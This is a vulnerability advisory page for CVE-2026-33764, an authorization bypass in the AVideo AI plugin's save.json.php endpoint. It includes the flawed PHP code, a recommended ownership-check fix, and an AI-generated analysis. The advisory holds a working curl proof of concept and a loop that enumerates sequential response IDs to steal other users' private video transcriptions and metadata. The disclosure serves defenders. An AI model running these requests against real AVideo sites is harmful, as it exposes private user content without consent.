Skip to main content

PHP CVE-2026-33764

MEDIUM
Authorization Bypass Through User-Controlled Key (CWE-639)
2026-03-26 https://github.com/WWBN/AVideo
4.3
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
4.3 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

2
Analysis Generated
Mar 26, 2026 - 18:15 vuln.today
CVE Published
Mar 26, 2026 - 18:08 nvd
MEDIUM 4.3

DescriptionGitHub Advisory

Summary

The AI plugin's save.json.php endpoint loads AI response objects using an attacker-controlled $_REQUEST['id'] parameter without validating that the AI response belongs to the specified video. An authenticated user with AI permissions can reference any AI response ID - including those generated for other users' private videos - and apply the stolen AI-generated content (titles, descriptions, keywords, summaries, or full transcriptions) to their own video, effectively exfiltrating the information.

Details

In plugin/AI/save.json.php, the authorization flow checks that the user can edit the *target video* (Video::canEdit($videos_id) at line 23), but loads the AI response object from a completely separate, user-controlled parameter:

Line 29 - metatags path (no ownership check):

php
if(!empty($_REQUEST['ai_metatags_responses_id'])){
    $ai = new Ai_metatags_responses($_REQUEST['id']);  // Loads ANY response by ID

    if (empty($ai->getcompletion_tokens())) {
        forbiddenPage('AI Response not found');
    }
}

Line 146 - transcription path (no ownership check):

php
case 'text':
    if(!empty($_REQUEST['ai_transcribe_responses_id'])){
        $ait = new Ai_transcribe_responses($_REQUEST['id']);  // Loads ANY response by ID
        $value = $ait->getVtt();

The ObjectYPT base class constructor performs a simple database lookup with no authorization:

php
public function __construct($id = "", $refreshCache = false) {
    if (!empty($id)) {
        $this->load($id, $refreshCache);  // SELECT * WHERE id = ? - no permission check
    }
}

The loaded data is then applied to the attacker's video - titles via $video->setTitle() (line 49-51), descriptions via $video->setDescription() (lines 91-92, 100-101), and transcriptions via file_put_contents() (line 156).

In contrast, plugin/AI/delete.json.php correctly validates ownership by traversing to the parent Ai_responses record:

php
// delete.json.php lines 42-44 - CORRECT ownership check
$ai = new Ai_responses($aitr->getAi_responses_id());
if ($ai->getVideos_id() == $videos_id) {
    $obj->ai_transcribe_responses_id = $aitr->delete();

This proves the developers intended ownership validation but omitted it in the save endpoint.

PoC

Prerequisites: Two user accounts (attacker and victim), both with canUseAI permission. The victim has generated AI metadata or transcription for a private video.

Step 1: Attacker enumerates AI response IDs to steal metadata

AI response IDs are sequential integers. The attacker supplies their own videos_id (which they can edit) but references a victim's AI response id:

bash
# Attacker owns video ID 5, victim's AI metatags response is ID 42
curl -b "attacker_cookies" \
  "https://target.example/plugin/AI/save.json.php" \
  -d "videos_id=5&ai_metatags_responses_id=1&id=42&label=videoTitles&index=0"

Expected result: The victim's AI-generated title (from their private video) is applied to the attacker's video (ID 5). The attacker reads back their video to see the stolen title.

Step 2: Attacker steals full transcription (higher impact)

bash
# Victim's AI transcription response is ID 17
curl -b "attacker_cookies" \
  "https://target.example/plugin/AI/save.json.php" \
  -d "videos_id=5&ai_transcribe_responses_id=1&id=17&label=text"

Expected result: The victim's VTT transcription file is written to the attacker's video directory. The attacker can now access the full spoken content of the victim's private video by requesting the VTT subtitle file for their own video.

Step 3: Enumerate all responses

bash
# Iterate through sequential IDs to harvest all AI responses
for id in $(seq 1 100); do
  curl -s -b "attacker_cookies" \
    "https://target.example/plugin/AI/save.json.php" \
    -d "videos_id=5&ai_metatags_responses_id=1&id=${id}&label=videoTitles&index=0"
done

Impact

  • Confidentiality breach of private video content: An attacker can steal full transcriptions (VTT subtitles) generated by AI for other users' private videos, revealing the complete spoken content without ever accessing the video file itself.
  • Metadata exfiltration: AI-generated titles, descriptions, keywords, summaries, and content ratings from other users' private videos can be read by applying them to the attacker's own video.
  • Trivial enumeration: AI response IDs are sequential integers, allowing an attacker to systematically harvest all AI-generated content across the platform.
  • Low barrier: Any user with canUseAI permission who owns at least one video can exploit this. No admin access required.

Recommended Fix

Add ownership validation in save.json.php matching what delete.json.php already does. Load the parent Ai_responses record and verify getVideos_id() matches the provided $videos_id:

php
// For metatags (after line 29):
if(!empty($_REQUEST['ai_metatags_responses_id'])){
    $ai = new Ai_metatags_responses($_REQUEST['id']);

    if (empty($ai->getcompletion_tokens())) {
        forbiddenPage('AI Response not found');
    }

    // ADD: Ownership validation
    $aiParent = new Ai_responses($ai->getAi_responses_id());
    if ($aiParent->getVideos_id() != $videos_id) {
        forbiddenPage('AI Response does not belong to this video');
    }
}

// For transcriptions (at line 146, inside case 'text'):
$ait = new Ai_transcribe_responses($_REQUEST['id']);

// ADD: Ownership validation
$aitParent = new Ai_responses($ait->getAi_responses_id());
if ($aitParent->getVideos_id() != $videos_id) {
    forbiddenPage('AI Response does not belong to this video');
}

$value = $ait->getVtt();

AnalysisAI

The AVideo AI plugin's save.json.php endpoint fails to validate that AI-generated responses belong to the target video before applying them, allowing authenticated users to exfiltrate private video metadata and full transcriptions by referencing arbitrary AI response IDs. An attacker with canUseAI permission can steal AI-generated titles, descriptions, keywords, summaries, and complete transcription files from other users' private videos through a simple parameter manipulation attack, then apply this stolen content to their own video for reading. No public exploit is confirmed actively exploited, but proof-of-concept methodology is detailed in the advisory, making this a practical attack for any platform user with basic video ownership.

Technical ContextAI

The vulnerability exists in the AVideo plugin (pkg:composer/wwbn_avideo) within the PHP-based save.json.php endpoint that manages AI-generated metadata and transcription persistence. The root cause is CWE-639 (Authorization Bypass Through User-Controlled Key), where the ObjectYPT base class constructor performs unauthenticated database lookups via simple ID-based SELECT queries without permission validation. The code correctly validates that a user can edit the target video (via Video::canEdit()), but loads AI response objects using attacker-supplied $_REQUEST['id'] parameters that bypass this check entirely. The metatags handler (lines 29-35) and transcription handler (lines 146+) both instantiate Ai_metatags_responses and Ai_transcribe_responses objects without traversing to parent Ai_responses records to verify video ownership-a pattern that the delete.json.php endpoint correctly implements. Transcription data is written directly via file_put_contents(), making stolen VTT subtitle files accessible through the attacker's video resource.

RemediationAI

Implement ownership validation in save.json.php by loading the parent Ai_responses record and verifying that getVideos_id() matches the supplied $videos_id parameter, following the pattern already present in delete.json.php. Specifically, after instantiating Ai_metatags_responses or Ai_transcribe_responses objects (lines 29 and 146), add a check that traverses to the parent Ai_responses record and confirms video ownership before allowing metadata or transcription to be applied. Consult the vendor advisory at https://github.com/advisories/GHSA-g39v-qrj6-jxrh for exact patched version details and apply the available patch immediately. Until patching is possible, restrict canUseAI permission grants to trusted users and monitor save.json.php access logs for suspicious cross-video parameter references. Network-level mitigations (HTTPS enforcement, request rate limiting) do not address the authorization flaw but can reduce reconnaissance efficiency.

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

CVE-2024-8353 CRITICAL POC
9.8 Sep 28

The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all

Share

CVE-2026-33764 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy